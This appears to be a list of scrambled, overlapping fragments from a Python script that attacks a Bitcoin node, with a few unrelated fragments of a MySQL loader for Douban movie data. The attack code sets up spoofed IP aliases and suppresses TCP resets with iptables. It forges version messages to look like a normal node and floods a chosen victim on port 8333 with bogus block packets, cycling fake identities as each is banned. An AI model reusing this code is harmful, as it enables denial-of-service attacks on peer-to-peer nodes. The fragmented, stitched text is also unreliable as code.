"banned def attack(socket, src_ip, src_port, dst_ip, dst_port, interface): block =",
"run simultaneously num_identities = 8 # While attacking the victim,",
"= hashlib.sha256(body).digest() # add checksum #h = hashlib.sha256(th).digest() #res +=",
"identity def ip_alias(ip_address): global alias_num print(f'Setting up IP alias {ip_address}",
"the computer shutdown without restoring backup_iptables() # Create the connections",
"'\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding socket to ({src_ip} :",
"def version_packet(src_ip, dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion =",
"script {interface}') try: start_new_thread(attack, (), { 'socket': s, 'src_ip': src_ip,",
"for i in range(1, num_identities + 1): try: make_fake_connection(src_ip =",
"to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1)",
"'subversion' in network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion' in network_info:",
"/python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look like a normal node",
"'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass # Save",
"Listen to the connections for future packets if verbose: print('Attaching",
"--tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o",
"on {interface}') terminal(f'sudo ifconfig {interface} {ip} down') except: pass #",
"import * from bitcoin.net import CAddress from bitcoin.core import CBlock",
"range(1, num_identities + 1): try: make_fake_connection(src_ip = random_ip(), dst_ip =",
"'sudo'. Exiting.\\n\") # Specify the attacker's genuine IP attacker_ip =",
"an alias for a specified identity def ip_alias(ip_address): global alias_num",
"identity_interface[i] print(f'Cleaning up IP alias {ip} on {interface}') terminal(f'sudo ifconfig",
"socket import struct import sys import time import datetime if",
"block packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for",
"of the network interface # Used as an IP template",
"sending a single ping to Google #def internet_is_active(): # return",
"the network #def reset_network(): # print('Resetting network...') # terminal(f'sudo ifconfig",
"using 'sudo'. Exiting.\\n\") # Specify the attacker's genuine IP attacker_ip",
"{interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num += 1",
"src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface }) except: print('Error:",
"io import BytesIO as _BytesIO import atexit import bitcoin import",
"many identities should run simultaneously num_identities = 8 # While",
"is saved, then restored when the script ends iptables_file_path =",
"Construct a version packet using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port,",
"== -1: print(f'Setting socket network interface to \"{network_interface}\"...') success =",
"broadcast address of the network interface # Used as an",
"broadcast IP couldn\\'t be found.') sys.exit() # Initialize Bitcoin info",
"identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to the connections for future",
"# Make on_close() run when the script terminates cleanup_iptables() #",
"script def cleanup_ipaliases(): for i in range(0, len(identity_address)): try: ip",
"0.1 identity_interface = [] # Keeps the IP alias interface",
"-p tcp --tcp-flags ALL RST -j DROP') if verbose: print('Creating",
"interface) print(f'Peer was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False)",
"= identity_interface[i] print(f'Cleaning up IP alias {ip} on {interface}') terminal(f'sudo",
"forcing the IP to be above a certain threshhold, it",
"import start_new_thread from bitcoin.messages import * from bitcoin.net import CAddress",
"ip == victim_ip: continue if ip not in [x[0] for",
"= bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port msg.addrTo.ip =",
"ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't accept already",
"in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection to ({ip} :",
"# add checksum #h = hashlib.sha256(th).digest() #res += h[:4] res",
"FIN -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p",
"70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info:",
"success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while success ==",
"ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if verbose:",
"to the victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024,",
"socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket network",
"bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _",
"until banned def attack(socket, src_ip, src_port, dst_ip, dst_port, interface): block",
"using the broadcast address template def random_ip(): # By forcing",
"network info...') global default_gateway, network_interface, broadcast_address # Get the network",
"+([^ ]+) +dev +([^ ]+)', terminal('ip route')) if m !=",
"from bitcoin.net import CAddress from bitcoin.core import CBlock from io",
"interface) make_fake_connection(random_ip(), dst_ip, False) return # Send version packet version",
"= bytearray(random.getrandbits(8) for _ in range(32)) nTime = int((datetime.datetime.now() -",
"ALL RST,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface}",
"0: sys.exit(\"\\nYou need to have root privileges to run this",
"Make on_close() run when the script terminates cleanup_iptables() # Restore",
"broadcast_address old_ip = '' while(old_ip != ip): old_ip = ip",
"the iptable rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore",
"victim\\'s node must not be running.') print(f'Successful connections: {len(identity_address)}\\n') #",
"network interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface +",
"ip aliases that were created by the script def cleanup_ipaliases():",
"{interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo iptables",
"'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface",
"nNonce = random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot,",
"as e: print(e) break close_connection(socket, src_ip, src_port, interface) print(f'Peer was",
"use this to recover the network #def reset_network(): # print('Resetting",
"is the first code to run if __name__ == '__main__':",
"we can use this to recover the network #def reset_network():",
"re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if m != None: broadcast_address",
"and IP for each successful connection identity_address = [] #",
"network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion =",
"wait this many seconds before sending each version message seconds_between_version_packets",
"Specify the attacker's genuine IP attacker_ip = input('\\nEnter attacker\\'s IP",
"verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...') try:",
"try: ip = identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up IP",
"in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that",
"to the connections for future packets if verbose: print('Attaching attacker",
"where the iptables backup is saved, then restored when the",
"os.popen(cmd).read() # Send commands to the Bitcoin Core Console def",
"msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet verack = s.recv(1024) if",
"if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if verbose: print('Setting up",
"up') # Create an alias for a specified identity def",
"- len(name)) res += struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest() #",
"print('Retrieving bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/'",
"The file where the iptables backup is saved, then restored",
"internet by sending a single ping to Google #def internet_is_active():",
"connection to ({ip} : {port})') # Creates a fake connection",
"(12 - len(name)) res += struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest()",
"# Listen to the connections for future packets if verbose:",
"interface): block = block_packet_bytes() while True: if seconds_between_version_packets != 0:",
"datetime if os.geteuid() != 0: sys.exit(\"\\nYou need to have root",
"msg.strSubVer = bitcoin_subversion.encode() # Look like a normal node return",
"restoring backup_iptables() # Create the connections for i in range(1,",
"sys import time import datetime if os.geteuid() != 0: sys.exit(\"\\nYou",
"# Don't accept already assigned IPs if ip == default_gateway:",
"commands to the Bitcoin Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli",
"print('Closing open sockets') for socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables()",
"print('Error: Network broadcast IP couldn\\'t be found.') sys.exit() # Initialize",
"identities should run simultaneously num_identities = 8 # While attacking",
"OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP')",
"-I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN -j",
"msg.addrTo.port = dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode()",
"return os.popen(cmd).read() # Send commands to the Bitcoin Core Console",
"if interface in identity_interface: identity_interface.remove(interface) if (ip, port) in identity_address:",
"alias_num += 1 return interface # Construct a block packet",
"network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion =",
"the backup of the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning",
"rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore <",
"commands to the Linux terminal def terminal(cmd): return os.popen(cmd).read() #",
"import CBlock from io import BytesIO as _BytesIO import atexit",
"CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=()",
"victim_ip = input('Enter victim\\'s IP address: ') victim_port = 8333",
"be above a certain threshhold, it prevents a lot of",
"alias on interface {interface}') if verbose: print('Resulting ifconfig interface:') if",
"node must not be running.') print(f'Successful connections: {len(identity_address)}\\n') # Prevent",
"iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the Linux terminal",
"255))}' # Checking the internet by sending a single ping",
"connection def close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo ifconfig {interface}",
"else: print('Error: Network interface couldn\\'t be found.') sys.exit() # Get",
"connection identity_address = [] # Keeps the IP and port",
"connections: {len(identity_address)}\\n') # Prevent the script from terminating when the",
"import bitcoin import fcntl import hashlib import json import os",
"# Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global",
"to ({dst_ip} : {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if verbose:",
"computer shutdown without restoring backup_iptables() # Create the connections for",
"IPs if ip == default_gateway: continue if ip == victim_ip:",
"# Construct a version packet using python-bitcoinlib def version_packet(src_ip, dst_ip,",
"victim's IP, and port (8333 for Bitcoin) victim_ip = input('Enter",
"= s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose:",
"ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't accept",
"socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket network interface to \"{network_interface}\"...')",
"= s.recv(1924) # Send verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes())",
"def attack(socket, src_ip, src_port, dst_ip, dst_port, interface): block = block_packet_bytes()",
"if m != None: broadcast_address = m.group(1).strip() else: print('Error: Network",
"to run if __name__ == '__main__': global alias_num alias_num =",
"Exiting.\\n\") # Specify the attacker's genuine IP attacker_ip = input('\\nEnter",
"def terminal(cmd): return os.popen(cmd).read() # Send commands to the Bitcoin",
"nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce =",
"!= 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as e: print(e)",
"Get the broadcast address of the network interface # Used",
"bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() #",
"terminates cleanup_iptables() # Restore any pre-existing iptables before backing up,",
"--tcp-flags ALL FIN -j DROP') terminal(f'sudo iptables -I OUTPUT -o",
"print(e) break close_connection(socket, src_ip, src_port, interface) print(f'Peer was banned ({src_ip}",
"stopped def on_close(): print('Closing open sockets') for socket in identity_socket:",
"= dst_ip msg.addrTo.port = dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer",
"import random import re import socket import struct import sys",
"Checking the internet by sending a single ping to Google",
": {port})') # Creates a fake connection to the victim",
"tcp --tcp-flags ALL RST -j DROP') if verbose: print('Creating network",
"(), { 'socket': s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip,",
"]+)', terminal('ip route')) if m != None: default_gateway = m.group(1).strip()",
"function is ran when the script is stopped def on_close():",
"the script from terminating when the sniff function is still",
"Network broadcast IP couldn\\'t be found.') sys.exit() # Initialize Bitcoin",
"file where the iptables backup is saved, then restored when",
"to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip,",
"script from terminating when the sniff function is still active",
"#def internet_is_active(): # return os.system('ping -c 1 google.com') == 0",
"be running.') print(f'Successful connections: {len(identity_address)}\\n') # Prevent the script from",
"-j DROP') if verbose: print('Creating network socket...') s = socket.socket(socket.AF_INET,",
"print(f'Successful connections: {len(identity_address)}\\n') # Prevent the script from terminating when",
"= f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address}",
"connections for i in range(1, num_identities + 1): try: make_fake_connection(src_ip",
"of the default gateway m = re.search(r'default +via +([^ ]+)",
"to the Linux terminal def terminal(cmd): return os.popen(cmd).read() # Send",
"res = b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res += b\"\\x00\" *",
"(ip, port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection to",
"the broadcast address of the network interface # Used as",
"def close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo ifconfig {interface} {ip}",
"re.search(r'default +via +([^ ]+) +dev +([^ ]+)', terminal('ip route')) if",
"# Create the connections for i in range(1, num_identities +",
"the attacker's genuine IP attacker_ip = input('\\nEnter attacker\\'s IP address:",
"import hashlib import json import os import random import re",
"import sys import time import datetime if os.geteuid() != 0:",
"Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run",
"res += name.encode() res += b\"\\x00\" * (12 - len(name))",
"def random_ip(): # By forcing the IP to be above",
"global alias_num print(f'Setting up IP alias {ip_address} on {network_interface}') interface",
"CAddress from bitcoin.core import CBlock from io import BytesIO as",
"import json import os import random import re import socket",
"' + cmd).read() # Generate a random identity using the",
"Send verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack",
"OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK -j DROP')",
"DROP') if verbose: print('Creating network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
"if (ip, port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection",
"#th = hashlib.sha256(body).digest() # add checksum #h = hashlib.sha256(th).digest() #res",
"iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN",
"backing up, just in case if the computer shutdown without",
"({dst_ip} : {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully",
"= b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res += b\"\\x00\" * (12",
"8 # While attacking the victim, wait this many seconds",
"False) # Initialize the network def initialize_network_info(): print('Retrieving network info...')",
"reset_network() # This is the first code to run if",
"+= name.encode() res += b\"\\x00\" * (12 - len(name)) res",
"print(f'Setting up IP alias {ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}'",
"verbose: print(f'Successfully set up IP alias on interface {interface}') if",
"iptables backup is saved, then restored when the script ends",
"{src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip} : {src_port}) to",
"version = version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get verack",
"iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST",
"except Exception as e: print(e) break close_connection(socket, src_ip, src_port, interface)",
"ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the internet by",
"dst_ip, False) # Initialize the network def initialize_network_info(): print('Retrieving network",
"import datetime if os.geteuid() != 0: sys.exit(\"\\nYou need to have",
"# Save a backyp of the iptable rules def backup_iptables():",
"make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024, 65535) dst_port = victim_port",
"script is stopped def on_close(): print('Closing open sockets') for socket",
"found.') sys.exit() # Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin",
"seconds before sending each version message seconds_between_version_packets = 0.1 identity_interface",
"verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet verack =",
"dst_ip = victim_ip) except ConnectionRefusedError: print('Connection was refused. The victim\\'s",
"If all else fails, we can use this to recover",
"# While attacking the victim, wait this many seconds before",
"# Send verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get",
"try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip,",
"dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look",
"socket.send(block) except Exception as e: print(e) break close_connection(socket, src_ip, src_port,",
"#json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion'",
"address template def random_ip(): # By forcing the IP to",
"run when the script terminates cleanup_iptables() # Restore any pre-existing",
"alias_num print(f'Setting up IP alias {ip_address} on {network_interface}') interface =",
"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket network interface",
"'\\0').encode('utf-8')) while success == -1: print(f'Setting socket network interface to",
"in range(4)) res += body return res # Construct a",
"template of what can change, so that packets still come",
"0 # Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make",
"RST -j DROP') if verbose: print('Creating network socket...') s =",
"Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look like a",
"f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res += b\"\\x00\"",
"+= h[:4] res += bytearray(random.getrandbits(8) for _ in range(4)) res",
"+= 1 return interface # Construct a block packet using",
"if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...')",
"alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run when the",
"#def reset_network(): # print('Resetting network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip}",
"None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion = network_info['subversion'] if",
"that were created by the script def cleanup_ipaliases(): for i",
"lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True):",
"to sniff interface {interface}') # Send version repeatedly, until banned",
"{broadcast_address} up') alias_num += 1 return interface # Construct a",
"successful connection # The file where the iptables backup is",
"#print('Verifying that internet works...') #if not internet_is_active(): # reset_network() #",
"\"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface)",
"Linux terminal def terminal(cmd): return os.popen(cmd).read() # Send commands to",
"random_ip(): # By forcing the IP to be above a",
"terminal def terminal(cmd): return os.popen(cmd).read() # Send commands to the",
"str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding socket to",
"print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if verbose: print('Setting up iptables configurations')",
"This is the first code to run if __name__ ==",
"Goodbye.') #print('Verifying that internet works...') #if not internet_is_active(): # reset_network()",
"\"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while success",
"') # Specify the victim's IP, and port (8333 for",
"packet using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port): msg =",
"the IP alias interface and IP for each successful connection",
"broadcast {broadcast_address} up') alias_num += 1 return interface # Construct",
"1) # Don't accept already assigned IPs if ip ==",
"in identity_interface: identity_interface.remove(interface) if (ip, port) in identity_address: identity_address.remove((ip, port))",
"= re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if m != None:",
"saved, then restored when the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules'",
"a block packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8)",
"each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run when",
"block = block_packet_bytes() while True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets)",
"the socket for each successful connection # The file where",
"couldn\\'t be found.') sys.exit() # Get the broadcast address of",
"the connections for future packets if verbose: print('Attaching attacker script",
"pre-existing iptables before backing up, just in case if the",
"# Close a connection def close_connection(socket, ip, port, interface): socket.close()",
"need to have root privileges to run this script.\\nPlease try",
"up') alias_num += 1 return interface # Construct a block",
"time import datetime if os.geteuid() != 0: sys.exit(\"\\nYou need to",
"= m.group(1).strip() network_interface = m.group(2).strip() else: print('Error: Network interface couldn\\'t",
"[x[0] for x in identity_address]: break return ip #return f'10.0.{str(random.randint(0,",
"IP, and port (8333 for Bitcoin) victim_ip = input('Enter victim\\'s",
"bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try:",
"= 0.1 identity_interface = [] # Keeps the IP alias",
"'block' f = _BytesIO() msg.stream_serialize(f) body = f.getvalue() res =",
"it prevents a lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1]))",
"victim, wait this many seconds before sending each version message",
"socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding socket",
"backup_iptables() # Create the connections for i in range(1, num_identities",
"# By forcing the IP to be above a certain",
"os.system('ping -c 1 google.com') == 0 # If all else",
"Send version repeatedly, until banned def attack(socket, src_ip, src_port, dst_ip,",
"aliases that were created by the script def cleanup_ipaliases(): for",
"interface # Construct a block packet using python-bitcoinlib def block_packet_bytes():",
"ifconfig {interface} {ip} down') if socket in identity_socket: identity_socket.remove(socket) else:",
"this many seconds before sending each version message seconds_between_version_packets =",
"# The file where the iptables backup is saved, then",
"in network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass # Save a",
"try: start_new_thread(attack, (), { 'socket': s, 'src_ip': src_ip, 'src_port': src_port,",
"dst_port) s.send(version.to_bytes()) # Get verack packet verack = s.recv(1924) #",
"print(f'Creating fake identity ({src_ip} : {src_port}) to connect to ({dst_ip}",
"= ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set up IP alias",
"-p tcp --tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo iptables -I",
"interface {interface}') if verbose: print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig",
"{interface} -p tcp --tcp-flags ALL FIN -j DROP') terminal(f'sudo iptables",
"+ '\\0').encode('utf-8')) while success == -1: print(f'Setting socket network interface",
"verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet",
"# Keeps the IP alias interface and IP for each",
"print(f'Binding socket to ({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if verbose:",
"src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface })",
"of the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables",
"version packet using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port): msg",
"This function is ran when the script is stopped def",
"interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if verbose: print('Setting",
"import fcntl import hashlib import json import os import random",
"random.randint(1024, 65535) dst_port = victim_port print(f'Creating fake identity ({src_ip} :",
"ALL FIN,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface}",
"try again, this time using 'sudo'. Exiting.\\n\") # Specify the",
"so that packets still come back to the sender m",
"sending each version message seconds_between_version_packets = 0.1 identity_interface = []",
"+ 1 while(True): ip = broadcast_address old_ip = '' while(old_ip",
"return interface # Construct a block packet using python-bitcoinlib def",
"* (12 - len(name)) res += struct.pack(b\"<I\", len(body)) #th =",
"}) except: print('Error: unable to start thread to sniff interface",
"reset_network(): # print('Resetting network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} down')",
"global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info",
"bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip",
"the first code to run if __name__ == '__main__': global",
"to run this script.\\nPlease try again, this time using 'sudo'.",
"dst_ip, dst_port, interface): block = block_packet_bytes() while True: if seconds_between_version_packets",
"attacker's genuine IP attacker_ip = input('\\nEnter attacker\\'s IP address: ')",
"interface = ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set up IP",
"ip = identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up IP alias",
"for Bitcoin) victim_ip = input('Enter victim\\'s IP address: ') victim_port",
"that packets still come back to the sender m =",
"Look like a normal node return msg # Close a",
"verbose: print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n')",
"global default_gateway, network_interface, broadcast_address # Get the network interface of",
"identity_interface.remove(interface) if (ip, port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed",
"return os.system('ping -c 1 google.com') == 0 # If all"
] |
[
"charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor() def close(self): self.conn.close() self.cursor.close()",
"insert_rate(self, params): sql = 'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params)",
"= self.conn.cursor() def close(self): self.conn.close() self.cursor.close() # 批量插入 def __insert_many(self,",
"date: 2017-8-6 ''' import time import pandas as pd import",
"movies = np.array(movies_df).tolist() db = MySQLdb() try: db.insert_movie(movies) except Exception",
"def insert_rate(self, params): sql = 'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql,",
"pprint class MySQLdb(object): def __init__(self): self.conn = pymysql.connect( host='localhost', user='root',",
"params) # 统计数据插入 def insert_rate(self, params): sql = 'insert into",
"'__main__': inputFile = 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^') movies =",
"insert_movie(self, params): sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'",
"self.conn.cursor() def close(self): self.conn.close() self.cursor.close() # 批量插入 def __insert_many(self, sql,",
"params) if __name__ == '__main__': inputFile = 'data/douban_movie_clean.txt' movies_df =",
"'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入",
"db = MySQLdb() try: db.insert_movie(movies) except Exception as e: raise",
"host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor =",
"def __insert_many(self, sql, params): self.cursor.executemany(sql, params) # 电影数据插入 def insert_movie(self,",
"passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor() def",
"sql = 'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if __name__",
"= pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist() db = MySQLdb() try:",
"= np.array(movies_df).tolist() db = MySQLdb() try: db.insert_movie(movies) except Exception as",
"统计数据插入 def insert_rate(self, params): sql = 'insert into rate(name,category,rate) values(%s,%s,%s)'",
"as pd import numpy as np import pymysql import pymysql.cursors",
"numpy as np import pymysql import pymysql.cursors import pprint class",
"import numpy as np import pymysql import pymysql.cursors import pprint",
"# 批量插入 def __insert_many(self, sql, params): self.cursor.executemany(sql, params) # 电影数据插入",
"import pprint class MySQLdb(object): def __init__(self): self.conn = pymysql.connect( host='localhost',",
"np.array(movies_df).tolist() db = MySQLdb() try: db.insert_movie(movies) except Exception as e:",
